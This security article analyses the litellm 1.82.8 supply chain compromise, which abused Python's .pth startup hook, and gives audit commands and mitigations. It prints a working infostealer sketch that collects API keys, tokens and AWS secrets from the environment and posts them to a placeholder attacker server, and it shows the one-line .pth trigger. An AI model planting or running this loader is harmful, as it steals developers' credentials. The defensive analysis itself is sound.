How litellm 1.82.8 Used a 20-Year-Old Python Feature to Steal API Keys
Source: simonwillison
The supply chain attack that hit litellm 1.82.8 is not just another package compromise. It exploited a Python feature that has existed since version 2.2 and that most Python developers have never stopped to examine. Understanding why this technique works, and why it works more effectively than most alternatives, is worth the time.
What litellm is and why it was worth targeting
litellm is a unified proxy library that wraps over 100 LLM provider APIs behind a single OpenAI-compatible interface. You configure it with your OpenAI key, your Anthropic key, your AWS Bedrock credentials, your Cohere token, and your code calls one API regardless of which backend is handling the request. It is legitimately useful and widely deployed in production AI infrastructure.
From an attacker’s perspective, this makes litellm a distinctly high-value target. Most compromised packages let you steal whatever API keys happen to be present in the environment. A developer working on an OpenAI project might have one or two relevant credentials set. A litellm user, by the library’s design, almost certainly has multiple high-value API keys configured simultaneously: OpenAI, Anthropic, AWS Bedrock, possibly Google Vertex AI, Cohere, Mistral. The attacker collects all of them in a single exfiltration event.
BerriAI, litellm’s developer, also operates a managed cloud service. Simon Willison’s reporting placed the number of affected users on that service at 47,000. The exposure across local developer installs is harder to quantify.
The .pth file mechanism
The malicious file was named litellm_init.pth. Most Python developers have encountered .pth files in site-packages and understood them loosely as path configuration, which is accurate for one of their two behaviors. The second behavior is what matters here.
Python’s site module processes every .pth file in site-packages at interpreter startup. For each line in those files it does one of two things: if the line looks like a filesystem path, it appends it to sys.path; if the line starts with import, it passes the entire line to exec(). This is documented behavior, intentional, and has worked exactly this way since Python 2.2. It exists because some packages needed to run initialization code when their directory was added to the path, predating more structured alternatives.
The relevant section of CPython’s Lib/site.py is direct:
if line.startswith("import "):
exec(line)
continue
The litellm_init.pth file used this to trigger a companion module:
import litellm_init
litellm_init.py was also placed in site-packages. Its top-level code collected environment variables and exfiltrated them to an attacker-controlled server. The structure follows a standard infostealer pattern:
import os, socket, urllib.request, json
def _collect():
return {
"host": socket.gethostname(),
"user": os.environ.get("USER") or os.environ.get("USERNAME"),
"env": {k: v for k, v in os.environ.items()
if any(x in k.upper() for x in [
"API_KEY", "SECRET", "TOKEN", "PASSWORD",
"AWS_ACCESS", "AWS_SECRET"
])}
}
try:
payload = json.dumps(_collect()).encode()
req = urllib.request.Request(
"https://<attacker-server>/collect",
data=payload,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req, timeout=3)
except Exception:
pass
The try/except wrapper and short timeout are deliberate. The payload fails silently if the exfiltration server is unreachable or the connection is slow. The Python process continues normally with no visible indication that anything occurred.
Why this is worse than a trojanized __init__.py
A compromised __init__.py runs when the package is imported. If you install a malicious library but never import it in a given script, the payload does not fire. A .pth file has no such constraint.
Every Python process that starts in an environment where the .pth file is present executes the payload: your test runner, unrelated cron jobs, data processing scripts, deployment automation. The payload runs before any import hooks, before any user code, and before any security tooling that operates at the Python level. It fires on interpreter startup regardless of whether litellm is ever imported by anything in that session.
There is no built-in defense short of running Python with python -S, which disables site module processing entirely and breaks most real applications. This hook was never designed with security as a consideration, and it has accumulated legitimate dependents over two decades that make any breaking change difficult.
What PyPI’s yank mechanism actually protects
When the malicious release was identified, BerriAI yanked it from PyPI. Yanking, defined in PEP 592, does not delete a release. The package remains downloadable. What changes is how pip treats it during version resolution.
With pip >= 20.0, a yanked version is skipped when resolving an unpinned install: pip install litellm would skip 1.82.8 and install the next valid version. For an exact version pin, pip install litellm==1.82.8, pip installs it and prints a warning. For projects with a requirements.txt pinned to the malicious version, the yank provides no meaningful protection beyond a warning that is easy to miss in CI output.
The persistence issue compounds this. Even after upgrading litellm to a clean release, litellm_init.pth and litellm_init.py may remain in site-packages depending on pip version and install method. The payload continues to execute on every Python startup until those files are removed manually.
To audit your current environment:
# Find all .pth files containing import lines
find $(python -c "import site; print(' '.join(site.getsitepackages()))") \
-name '*.pth' | xargs grep -l '^import'
For a more thorough check that also inspects user site-packages:
import site, os
all_dirs = site.getsitepackages() + [site.getusersitepackages()]
for sitedir in all_dirs:
if not os.path.isdir(sitedir):
continue
for fname in os.listdir(sitedir):
if not fname.endswith('.pth'):
continue
fpath = os.path.join(sitedir, fname)
with open(fpath) as f:
for i, line in enumerate(f, 1):
if line.strip().startswith('import '):
print(f"{fpath}:{i}: {line.strip()}")
The supply chain question
How the malicious content entered the official release is not definitively resolved in the public reporting. The plausible candidates are a compromised PyPI account, a malicious pull request merged before the release cut, or a compromised CI pipeline injecting content at build time. litellm’s release cadence, multiple versions per week across hundreds of releases in the project’s history, creates pressure on review thoroughness at each publish. PyPI performs no code scanning before accepting an upload.
Socket.dev and Phylum both flagged the package through automated behavioral analysis shortly after upload. Socket’s detection pipeline looks for .pth files that import companion modules, combined with those companion modules making network calls or reading environment variables at module load time. This detection exists because the technique is not new: the ctx package compromise in 2022 used the same .pth mechanism to exfiltrate AWS_SECRET_ACCESS_KEY, as did the aiocpa cryptocurrency clipper in 2024. Attackers follow adoption curves; AI/ML tooling is now the high-value segment.
PEP 740, now deployed on PyPI infrastructure, provides cryptographic attestations linking releases to the CI workflows that built them. Enforcement at install time is not yet the default in pip, and even where it is enabled, attestation validates provenance rather than content. A compromised build pipeline or a malicious commit in the source repository would still generate a valid attestation on a malicious package. Provenance is necessary but not sufficient.
Reducing exposure
For anyone who installed litellm during the 1.82.8 window, the immediate steps are to audit site-packages for the malicious files and remove them manually, then rotate any API keys that were present in the environment. You cannot determine after the fact whether they were exfiltrated.
For the broader pattern, several controls reduce exposure to this class of attack without requiring changes to how Python works.
Hash-pinned lockfiles verify that installed packages match a recorded content hash. Any tampered version, regardless of its version number on PyPI, fails the hash check. Tools like pip-compile and uv generate these lockfiles straightforwardly, and pip install --require-hashes -r requirements.txt enforces them. This is the strongest purely local control available.
Inspecting packages before installing them is feasible for dependencies that run in privileged environments:
pip download litellm==1.82.8 --no-deps -d ./tmp
unzip tmp/litellm-1.82.8-py3-none-any.whl -d ./inspect
find ./inspect -name '*.pth'
Network egress filtering on inference pipelines makes exfiltration harder. An unexpected outbound HTTP connection from a Python process during startup is anomalous and detectable if your environment logs egress.
The .pth execution behavior itself is not disappearing. Changing it would break packages that have relied on the hook legitimately for two decades, and the Python packaging community has not reached consensus on a replacement. The attack surface remains for as long as Python’s site module executes arbitrary import lines from installed packages, and any package on PyPI can ship a .pth file today with no restrictions.
Behavioral analysis tools like Socket and Phylum exist, work, and catch this class of attack. They are not part of the default pip install path. Until that gap closes, manual review of high-privilege dependencies and hash-pinned installs are the most reliable controls available to the individual developer.